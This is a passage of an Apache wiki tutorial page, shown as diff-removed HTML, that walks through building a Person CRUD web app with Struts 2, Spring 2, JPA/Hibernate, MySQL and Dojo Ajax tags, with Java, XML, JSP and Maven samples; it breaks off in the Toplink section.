-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33168">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33168">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33168">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33168">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33168">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>On this tutorial we will demonstrate how to setup Struts 2 in Eclipse, and make it work with Spring, Java Persistence API (using Hibernate) and Struts 2 Ajax tags.</p>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Hibernate is licensed under the <a shape="rect" class="external-link" href="http://www.gnu.org/copyleft/lesser.html" rel="nofollow">LGPL</a>, and any application created using Hibernate is subject to the terms of the LGPL.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Following this tutorial verbatim will require use of a Struts 2 deployment greater than 2.0.3</p></div></div>
-
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974037984 {padding: 0px;}
-div.rbtoc1488974037984 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974037984 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974037984">
-<ul class="toc-indentation"><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Prerequisites">Prerequisites</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Tomcat">Tomcat</a></li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-MySql">MySql</a></li></ul>
-</li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Getthecode">Get the code</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Showmethecode">Show me the code</a></li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Themavenway">The maven way</a></li></ul>
-</li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Doingityourself">Doing it yourself</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-CreateEclipseproject">Create Eclipse project</a></li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Dependencies">Dependencies</a></li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Domain">Domain</a></li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-Personservice.">Person service.</a></li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-JPAconfiguration">JPA configuration</a></li><li><a sh [...]
-</li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-UsingToplinkEssentialsinsteadofHibernate">Using Toplink Essentials instead of Hibernate</a></li><li><a shape="rect" href="#Struts2+Spring2+JPA+AJAX-References">References</a></li></ul>
-</div>
-
-<h1 id="Struts2+Spring2+JPA+AJAX-Prerequisites">Prerequisites</h1>
-<ul><li><a shape="rect" class="external-link" href="http://tomcat.apache.org/download-55.cgi">Tomcat</a></li><li><a shape="rect" class="external-link" href="http://www.eclipse.org/" rel="nofollow">Eclipse</a></li><li><a shape="rect" class="external-link" href="http://dev.mysql.com/downloads/mysql/5.0.html" rel="nofollow">MySQL Server</a> (<a shape="rect" class="external-link" href="http://www.mysql.com/company/legal/licensing/" rel="nofollow">MySQL licensing policy</a>)</li></ul>
-
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Tomcat">Tomcat</h2>
-<p>Install Tomcat before going forward. See Tomcat's installation guide if you have any problem installing it. </p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-MySql">MySql</h2>
-<p>Install and configure MySql. Create a database named "quickstart" and run the script below to create the "Person" table. Later, on applicationContext.xml, we'll use 'root' as the user name and password for the database, remember to replace those values with the right ones for your database. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: sql; gutter: false; theme: Default" style="font-size:12px;">
-CREATE TABLE 'quickstart'.'Person' (
-  'id' INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,
-  'firstName' VARCHAR(45) NOT NULL,
-  'lastName' VARCHAR(45) NOT NULL,
-  PRIMARY KEY('id')
-)
-ENGINE = InnoDB;
-</pre>
-</div></div>
-
-<h1 id="Struts2+Spring2+JPA+AJAX-Getthecode">Get the code</h1>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Showmethecode">Show me the code</h2>
-<p>You can just download the <a shape="rect" class="external-link" href="struts-2-spring-2-jpa-ajax.data/quickstart.zip" rel="nofollow">zipped Eclipse project</a>, add the required dependencies to the lib folder under the /WebContent/WEB-INF/lib folder (relative to project's root folder) and import it into Eclipse.</p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Themavenway">The maven way</h2>
-<p>To run the project this way you will need maven installed.</p>
-<ol><li>Download the <a shape="rect" class="external-link" href="struts-2-spring-2-jpa-ajax.data/quickstart_maven2.zip" rel="nofollow">zipped project</a></li><li>Download jta jar from <a shape="rect" class="external-link" href="http://java.sun.com/products/jta/" rel="nofollow">here</a>.
-	<ul><li>Note that the Download Manager may save the file to your root drive, and it may give the file a .ZIP extension. You must rename the file to <em>jta-1.1-classes.jar</em>.</li><li>If a later version is available, update the version references in the next step.</li></ul>
-	</li><li>Install the jta jar file running:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$ mvn install:install-file -DgroupId=javax.transaction -DartifactId=jta -Dversion=1.1 -Dpackaging=jar -Dfile=c:\path\to\jar\jta-1.1-classes.jar
-</pre>
-</div></div></li><li>Bear with me, we are almost there</li><li>cd into quickstart and run:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$ mvn jetty:run
-</pre>
-</div></div></li><li>Point your browser to <a shape="rect" class="external-link" href="http://localhost:8080/quickstart" rel="nofollow">http://localhost:8080/quickstart</a></li><li>To create an eclipse project run:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$ mvn eclipse:eclipse
-</pre>
-</div></div>
-or (to create web project for WTP):
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn eclipse:eclipse -Dwtpversion=1.0
-</pre>
-</div></div></li></ol>
-
-
-<h1 id="Struts2+Spring2+JPA+AJAX-Doingityourself">Doing it yourself</h1>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-CreateEclipseproject">Create Eclipse project</h2>
-<ol><li>Open Eclipse. Seriously, you need to open Eclipse.</li><li>Click File -&gt; New -&gt; Project. Under the "Web" folder, select "Dynamic Web Project" and click "Next".</li><li>Enter the project name, "quickstart" from here on. The project will be running inside Tomcat, so we need to create a server configuration for it.
-	<ol><li>Under "Target Runtime", click "New", select "Apache Tomcat  5.5" and click next.</li><li>Enter Tomcat's installation directory and select an installed JRE (1.5 is required)</li></ol>
-	</li><li>Now you should be back to the project creation wizard, with Tomcat as your Target Runtime. Click "Next". Select "Dynamic Web Module" and "Java" facets, and click "Finish".</li></ol>
-
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Dependencies">Dependencies</h2>
-<p>Your project should contain the folders "src", "build" and "WebContent". We are going to put all the required jars under "/WebContent/WEB-INF/lib". To add files to the "lib" folder, just copy them to ${workspace}\quickstart\WebContent\WEB-INF\lib, where ${workspace} is the location of your Eclipse workspace folder. </p>
-
-<p>In the table, the version has been removed from the JAR files, since these may change in future milestone releases. Use whatever version is shipping with the indicated products. </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>JAR</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>From</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>License</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>xwork.jar</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p><a shape="rect" class="external-link" href="http://struts.apache.org/">Struts 2</a></p></td><td co [...]
-
-
-<p>Right click on the project and select "Refresh" (to notify Eclipse of the jars that we just added).</p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Domain">Domain</h2>
-<p>Our domain model will consist of just a simple "Person" class with a couple of fields. </p>
-<ol><li>Create a new class named "Person" (File -&gt; New -&gt; Class), and enter "quickstart.model" for the package name.</li><li>Add the fields "id" (int), "firstName" (String), and lastName ("String") with their setter/getter methods.</li><li>Mark your class with the "@Entity" annotation, and the "id" field with the annotations  "@Id" and "@GeneratedValue".</li></ol>
-
-
-<p>your class will look like:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Person.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package quickstart.model;
-
-import javax.persistence.Entity;
-import javax.persistence.GeneratedValue;
-import javax.persistence.Id;
-
-@Entity
-public class Person {
-    @Id
-    @GeneratedValue
-    private Integer id;
-    private String lastName;
-    private String firstName;
-
-    public String getFirstName() {
-        return firstName;
-    }
-
-    public void setFirstName(String firstName) {
-        this.firstName = firstName;
-    }
-
-    public String getLastName() {
-        return lastName;
-    }
-
-    public void setLastName(String lastName) {
-        this.lastName = lastName;
-    }
-
-    public Integer getId() {
-        return id;
-    }
-
-    public void setId(Integer id) {
-        this.id = id;
-    }
-}
-</pre>
-</div></div>
-
-<p>@Entity will let the provider know that this class can be persisted. @Id marks the "id" field as the primary key for this class. @GeneratedValue will cause the id field to be generated by the provider (Hibernate). Classes and fields are by default mapped to tables and columns with the same name, see JPA's documentation for more details. </p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Personservice.">Person service.</h2>
-<p>We will now write the class that will take care of CRUD operations on "Person" objects.</p>
-
-<ol><li>Create a new interface (File -&gt; New -&gt; Interface), enter "PersonService" for the name, and "quickstart.service" for the namespace. Set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>PersonService.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package quickstart.service;
-
-import java.util.List;
-
-import quickstart.model.Person;
-
-public interface PersonService {
-    public List&lt;Person&gt; findAll();
-
-    public void save(Person person);
-
-    public void remove(int id);
-
-    public Person find(int id);
-}
-</pre>
-</div></div>
-
-<ol><li>Create a new class (File -&gt; New -&gt; Class), enter "PersonServiceImpl" for the name and "quickstart.service" for the namespace. Set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>PersonServiceImpl.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package quickstart.service;
-
-import java.util.List;
-
-import javax.persistence.EntityManager;
-import javax.persistence.PersistenceContext;
-import javax.persistence.Query;
-
-import org.springframework.transaction.annotation.Transactional;
-
-import quickstart.model.Person;
-
-@Transactional
-public class PersonServiceImpl implements PersonService {
-    private EntityManager em;
-
-    @PersistenceContext
-    public void setEntityManager(EntityManager em) {
-        this.em = em;
-    }
-
-    @SuppressWarnings("unchecked")
-    public List&lt;Person&gt; findAll() {
-        Query query = getEntityManager().createQuery("select p FROM Person p");
-        return query.getResultList();
-    }
-
-    public void save(Person person) {
-        if (person.getId() == null) {
-            // new
-            em.persist(person);
-        } else {
-            // update
-            em.merge(person);
-        }
-    }
-
-    public void remove(int id) {
-        Person person = find(id);
-        if (person != null) {
-            em.remove(person);
-        }
-    }
-
-    private EntityManager getEntityManager() {
-        return em;
-    }
-
-    public Person find(int id) {
-        return em.find(Person.class, id);
-    }
-
-}
-</pre>
-</div></div>
-
-<p>@PersistenceContext will make Spring inject an EntityManager into the service when it is instantiated. The @PersistenceContext  annotation can be placed on the field, or on the setter method. If the class is annotated as @Transactional, Spring will make sure that its methods run inside a transaction.</p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-JPAconfiguration">JPA configuration </h2>
-<ol><li>Create a folder named "META-INF" under the "src" folder.</li><li>Create a file named "persistence.xml" under the "META-INF" folder and set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>persistence.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;persistence xmlns="http://java.sun.com/xml/ns/persistence"
-    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-    xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd"
-    version="1.0"&gt;
-    &lt;persistence-unit name="punit"&gt;
-    &lt;/persistence-unit&gt;
-&lt;/persistence&gt;
-</pre>
-</div></div>
-
-<p>JPA configuration can be set on this file. On this example it will be empty because the datasource configuration will be in the Spring configuration file. </p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Spring">Spring</h2>
-<ol><li>Update the content of web.xml under /WebContent/WEB-INF/web.xml to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;web-app id="person" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
-    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"&gt;
-    &lt;display-name&gt;person&lt;/display-name&gt;
-
-    &lt;!-- Include this if you are using Hibernate --&gt;
-    &lt;filter&gt;
-        &lt;filter-name&gt;Spring OpenEntityManagerInViewFilter&lt;/filter-name&gt;
-        &lt;filter-class&gt;
-            org.springframework.orm.jpa.support.OpenEntityManagerInViewFilter
-        &lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;Spring OpenEntityManagerInViewFilter&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-        &lt;filter-class&gt;
-            org.apache.struts2.dispatcher.FilterDispatcher
-        &lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-
-
-    &lt;welcome-file-list&gt;
-        &lt;welcome-file&gt;index.jsp&lt;/welcome-file&gt;
-    &lt;/welcome-file-list&gt;
-
-    &lt;listener&gt;
-        &lt;listener-class&gt;
-            org.springframework.web.context.ContextLoaderListener
-        &lt;/listener-class&gt;
-    &lt;/listener&gt;
-&lt;/web-app&gt;
-</pre>
-</div></div>
-
-<p>This will make the container redirect all requests to Struts "FilterDispatcher" class. "index.jsp" is set as the home page, and Spring's "ContextLoaderListener" is configured as a listener.</p>
-
-<ol><li>Create a file named "applicationContext.xml" under /WebContent/WEB-INF, and set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>applicationContext.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;beans xmlns="http://www.springframework.org/schema/beans"
-    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-    xmlns:aop="http://www.springframework.org/schema/aop"
-    xmlns:tx="http://www.springframework.org/schema/tx"
-    xsi:schemaLocation="
-    http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd
-    http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-2.0.xsd
-    http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-2.0.xsd"&gt;
-
-    &lt;bean
-        class="org.springframework.orm.jpa.support.PersistenceAnnotationBeanPostProcessor" /&gt;
-
-    &lt;bean id="personService" class="quickstart.service.PersonServiceImpl" /&gt;
-
-    &lt;bean id="entityManagerFactory"
-        class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean"&gt;
-        &lt;property name="dataSource" ref="dataSource" /&gt;
-        &lt;property name="jpaVendorAdapter"&gt;
-            &lt;bean
-                class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter"&gt;
-                &lt;property name="database" value="MYSQL" /&gt;
-                &lt;property name="showSql" value="true" /&gt;
-            &lt;/bean&gt;
-        &lt;/property&gt;
-    &lt;/bean&gt;
-
-    &lt;bean id="dataSource"
-        class="org.springframework.jdbc.datasource.DriverManagerDataSource"&gt;
-        &lt;property name="driverClassName" value="com.mysql.jdbc.Driver" /&gt;
-        &lt;property name="url" value="jdbc:mysql://localhost/quickstart" /&gt;
-        &lt;property name="username" value="root" /&gt;
-        &lt;property name="password" value="root" /&gt;
-    &lt;/bean&gt;
-
-    &lt;bean id="transactionManager"
-        class="org.springframework.orm.jpa.JpaTransactionManager"&gt;
-        &lt;property name="entityManagerFactory" ref="entityManagerFactory" /&gt;
-    &lt;/bean&gt;
-
-    &lt;tx:annotation-driven transaction-manager="transactionManager" /&gt;
-
-    &lt;bean id="personAction" scope="prototype"
-        class="quickstart.action.PersonAction"&gt;
-        &lt;constructor-arg ref="personService" /&gt;
-    &lt;/bean&gt;
-&lt;/beans&gt;
-</pre>
-</div></div>
-
-<p>Note that the "class" attribute of the bean "personAction" is set to the name of the action class, and the "personService" bean will be passed as a parameter to the action constructor. Change the "url", "username" and "password" in the "dataSource" bean to the appropiate values for your database. For more details on the rest of the beans on this file, see Spring's documentation. The "scope" attribute is new in Spring 2, and it means that Spring will create a new PersonAction object ev [...]
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Struts">Struts</h2>
-<p>We will now create a simple Struts action that wraps PersonServices methods, and we will configure Struts to use Spring as the object factory. </p>
-<ol><li>Open the new class dialog (File -&gt; New -&gt; Class) and enter "PersonAction" for the classname, and "quickstart.action" for the namespace. Set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>PersonAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package quickstart.action;
-
-import java.util.List;
-
-import quickstart.model.Person;
-import quickstart.service.PersonService;
-
-import com.opensymphony.xwork2.Action;
-import com.opensymphony.xwork2.Preparable;
-
-public class PersonAction implements Preparable {
-    private PersonService service;
-    private List&lt;Person&gt; persons;
-    private Person person;
-    private Integer id;
-
-    public PersonAction(PersonService service) {
-        this.service = service;
-    }
-
-    public String execute() {
-        this.persons = service.findAll();
-        return Action.SUCCESS;
-    }
-
-    public String save() {
-        this.service.save(person);
-        this.person = new Person();
-        return execute();
-    }
-
-    public String remove() {
-        service.remove(id);
-        return execute();
-    }
-
-    public List&lt;Person&gt; getPersons() {
-        return persons;
-    }
-
-    public Integer getId() {
-        return id;
-    }
-
-    public void setId(Integer id) {
-        this.id = id;
-    }
-
-    public void prepare() throws Exception {
-        if (id != null)
-            person = service.find(id);
-    }
-
-    public Person getPerson() {
-        return person;
-    }
-
-    public void setPerson(Person person) {
-        this.person = person;
-    }
-}
-</pre>
-</div></div>
-
-<p>Look mom my action is a simple POJO!<br clear="none">
-The "Preparable" interface instructs Struts to call the "prepare" method if the "PrepareInterceptor" is applied to the action (by default, it is). The constructor of the action takes a "PersonService" as a parameter, which Spring will take care of passing when the action is instatiated.</p>
-
-<ol><li>Create a new file named "struts.xml" under the "src" folder. And set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-&lt;struts&gt;
-    &lt;constant name="struts.objectFactory" value="spring" /&gt;
-    &lt;constant name="struts.devMode" value="true" /&gt;
-
-    &lt;package name="person" extends="struts-default"&gt;
-
-        &lt;action name="list" method="execute" class="personAction"&gt;
-            &lt;result&gt;pages/list.jsp&lt;/result&gt;
-            &lt;result name="input"&gt;pages/list.jsp&lt;/result&gt;
-        &lt;/action&gt;
-
-        &lt;action name="remove" class="personAction" method="remove"&gt;
-            &lt;result&gt;pages/list.jsp&lt;/result&gt;
-            &lt;result name="input"&gt;pages/list.jsp&lt;/result&gt;
-        &lt;/action&gt;
-
-        &lt;action name="save" class="personAction" method="save"&gt;
-            &lt;result&gt;pages/list.jsp&lt;/result&gt;
-            &lt;result name="input"&gt;pages/list.jsp&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>Setting "struts.objectFactory" to "spring" will force Struts to instantiate the actions using Spring, injecting all the defined dependencies on applicationContext.xml. The "class" attribute for each action alias is set to "personAction", which is the bean id that we defined on applicationContext.xml for the PersonAction class. This is all that is needed to make Struts work with Spring. </p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Thepages">The pages</h2>
-<p>We only have two pages, "index.jsp" and "list.jsp". "list.jsp" returns a table with a list of the persons on the database.We have this list on a different page because we are going to add some AJAX to spicy it up. </p>
-
-<ol><li>Create a new file named "list.jsp" under /WebContent/pages/ and set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>list.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags"%&gt;
-
-&lt;p&gt;Persons&lt;/p&gt;
-&lt;s:if test="persons.size &gt; 0"&gt;
-	&lt;table&gt;
-		&lt;s:iterator value="persons"&gt;
-			&lt;tr id="row_&lt;s:property value="id"/&gt;"&gt;
-				&lt;td&gt;
-					&lt;s:property value="firstName" /&gt;
-				&lt;/td&gt;
-				&lt;td&gt;
-					&lt;s:property value="lastName" /&gt;
-				&lt;/td&gt;
-				&lt;td&gt;
-					&lt;s:url id="removeUrl" action="remove"&gt;
-						&lt;s:param name="id" value="id" /&gt;
-					&lt;/s:url&gt;
-					&lt;s:a href="%{removeUrl}" theme="ajax" targets="persons"&gt;Remove&lt;/s:a&gt;
-					&lt;s:a id="a_%{id}" theme="ajax" notifyTopics="/edit"&gt;Edit&lt;/s:a&gt;
-				&lt;/td&gt;
-			&lt;/tr&gt;
-		&lt;/s:iterator&gt;
-	&lt;/table&gt;
-&lt;/s:if&gt;
-</pre>
-</div></div>
-
-<p>This is going to render a table with each row showing the first and last name of the person, a link to remove the person, and a link to edit. The remove link has the attribute "targets", set to "persons", which means that when the user clicks on it, an asynchronous request will be made to the "remove" action (as configured on struts.xml, "remove" points to the "remove" method in PersonAction), passing the person id as parameter.</p>
-
-<p>When the edit link is clicked on, it will publish the "/edit" topic, which will trigger a javascript function to populate the fields.</p>
-
-<ol><li>Create a new file named "index.jsp" under /WebContent and set its content to:</li></ol>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>index.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags"%&gt;
-&lt;html&gt;
-	&lt;head&gt;
-		&lt;s:head theme="ajax" debug="true"/&gt;
-		&lt;script type="text/javascript"&gt;
-			dojo.event.topic.subscribe("/save", function(data, type, request) {
-			    if(type == "load") {
-					dojo.byId("id").value = "";
-					dojo.byId("firstName").value = "";
-					dojo.byId("lastName").value = "";
-				}
-			});
-
-			dojo.event.topic.subscribe("/edit", function(data, type, request) {
-			    if(type == "before") {
-					var id = data.split("_")[1];
-
-					var tr = dojo.byId("row_"+id);
-					var tds = tr.getElementsByTagName("td");
-
-					dojo.byId("id").value = id;
-					dojo.byId("firstName").value = dojo.string.trim(dojo.dom.textContent(tds[0]));
-					dojo.byId("lastName").value = dojo.string.trim(dojo.dom.textContent(tds[1]));
-				}
-			});
-		&lt;/script&gt;
-	&lt;/head&gt;
-	&lt;body&gt;
-	    &lt;s:url action="list" id="descrsUrl"/&gt;
-
-        &lt;div style="width: 300px;border-style: solid"&gt;
-        	&lt;div style="text-align: right;"&gt;
-    			&lt;s:a theme="ajax" notifyTopics="/refresh"&gt;Refresh&lt;/s:a&gt;
-    		&lt;/div&gt;
-    		&lt;s:div id="persons" theme="ajax" href="%{descrsUrl}" loadingText="Loading..." listenTopics="/refresh"/&gt;
-        &lt;/div&gt;
-
-        &lt;br/&gt;
-
-		&lt;div style="width: 300px;border-style: solid"&gt;
-			&lt;p&gt;Person Data&lt;/p&gt;
-			&lt;s:form action="save" validate="true"&gt;
-			    &lt;s:textfield id="id" name="person.id" cssStyle="display:none"/&gt;
-				&lt;s:textfield id="firstName" label="First Name" name="person.firstName"/&gt;
-				&lt;s:textfield id="lastName" label="Last Name" name="person.lastName"/&gt;
-				&lt;s:submit theme="ajax" targets="persons" notifyTopics="/save"/&gt;
-			&lt;/s:form&gt;
-		&lt;/div&gt;
-	&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<p>Look mom no page refresh!<br clear="none">
-The div "persons" will load its content asynchronously, and will show "Loading..." while while the request is on progress (you can use the "indicator" attribute for better progress feedback), you can force it to refresh clicking on the "Refresh" link. The "submit" button, will make an asynchronous request to the action "save" ("save" method on PersonAction), and will publish the topic "/save" to which we subscribed to, using "dojo.event.topic.subscribe", to clear the input fields.</p>
-
-<h2 id="Struts2+Spring2+JPA+AJAX-Validation">Validation</h2>
-<p>Because we don't want any John Doe on our database, we will add some basic client side validation to our form. In Struts 2, validation can be placed on xml files with the name pattern ActionName-validation.xml, located on the same package as the action. To add validation to an specific alias of an action (like a method), the validation file name follows the pattern ActionName-alias-validation.xml, where "alias" is the action alias name (in this case a method name, "save"). Add a file  [...]
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE validators PUBLIC 
-    "-//Apache Struts//XWork Validator 1.0.2//EN"
-    "http://struts.apache.org/dtds/xwork-validator-1.0.2.dtd"&gt;
-&lt;validators&gt;
-    &lt;field name="person.firstName"&gt;
-        &lt;field-validator type="requiredstring"&gt;
-            &lt;message&gt;First name is required!&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-    &lt;field name="person.lastName"&gt;
-        &lt;field-validator type="requiredstring"&gt;
-            &lt;message&gt;Last name is required!&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-</pre>
-</div></div>
-
-<p>See the Struts documentation for details on existing validators, and how to write, and plug in, your own validators.</p>
-
-<p>To run the project, Right click on your project and Run As -&gt; Run on Server. You can debug it on the same way, Right click on the project and Debug As -&gt; Debug on Server. Download and install Struts 2 Showcase to see more examples.</p>
-
-<h1 id="Struts2+Spring2+JPA+AJAX-UsingToplinkEssentialsinsteadofHibernate">Using Toplink Essentials instead of Hibernate</h1>
-<ol><li>Add this to pom.xml
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
- &lt;repositories&gt;
-     &lt;repository&gt;
-         &lt;id&gt;java.net&lt;/id&gt;
-         &lt;url&gt;https://maven-repository.dev.java.net/nonav/repository&lt;/url&gt;
-         &lt;layout&gt;legacy&lt;/layout&gt;
-     &lt;/repository&gt;
- &lt;/repositories&gt;
-</pre>
-</div></div></li><li>Add this to the <em>dependencies</em> node in pom.xml
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
